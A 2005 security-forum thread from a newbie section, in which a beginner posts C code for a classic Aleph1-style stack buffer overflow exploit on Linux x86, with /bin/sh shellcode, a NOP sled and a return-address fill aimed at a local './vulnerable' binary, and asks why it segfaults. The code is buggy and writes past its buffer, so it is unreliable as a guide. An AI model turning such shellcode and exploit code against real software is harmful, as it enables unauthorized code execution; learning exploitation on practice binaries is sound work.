|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 121
Members: 0
Total: 121
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Writing buffer overflows - new to the compsec thing |
|
Posted: Tue Oct 11, 2005 4:38 pm |
|
|
bej |
Beginner |
|
|
Joined: Oct 11, 2005 |
Posts: 3 |
|
|
|
|
|
|
|
Hello, I'm trying to write an exploit for a particular software. As usual, I'm having trouble. I've read a few documents on BOs and absorbed the information fairly well. However, I'm still having some trouble.
Let me give you some background:
Platform is Linux x86. The buffer is an array of 20 chars. EIP is 28 bytes away. ESP is at 0xbffff6f4.
Here's my code. I probably don't fully understand this. If so, please correct me.
Code: |
#define NOP '\x90'
#define EXIT 0
typedef unsigned long ulong;
char shellcode[] =
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
ulong getesp(void)
{
asm("movl %esp, %eax");
}
int main()
{
int i;
char buff[52], *ptr;
long *ptr2;
ulong esp = getesp();
ptr2 = buff;
ptr = (long *) ptr2;
for (i = 0; i < 51; i++)
{
*(ptr2++) = esp;
}
/* segfault around here */
for (i = 0; i < (sizeof(buff) - strlen(shellcode) - 1); i++)
{
buff[i] = NOP;
}
/* segfault around here */
for (i=0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buff[52] = 0;
printf("gogogo!\n");
execl("./vulnerable", "vulnerable", buff, 0);
return (EXIT);
}
|
|
|
|
|
|
|
|
|
|
Posted: Wed Oct 19, 2005 3:59 pm |
|
|
bej |
Beginner |
|
|
Joined: Oct 11, 2005 |
Posts: 3 |
|
|
|
|
|
|
|
Please? I modified a portion of the code that I thought was incorrect. Now it segfaults in a different part:
Code: |
for (i = 0; i < (sizeof(buff) - strlen(shellcode) - 1 - sizeof(esp)); i++)
{
buff[i] = NOP;
}
|
I may have been overwriting the return address with NOPs, right? I'm very confused.
I'm using Aleph1's method, btw. |
|
|
|
|
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|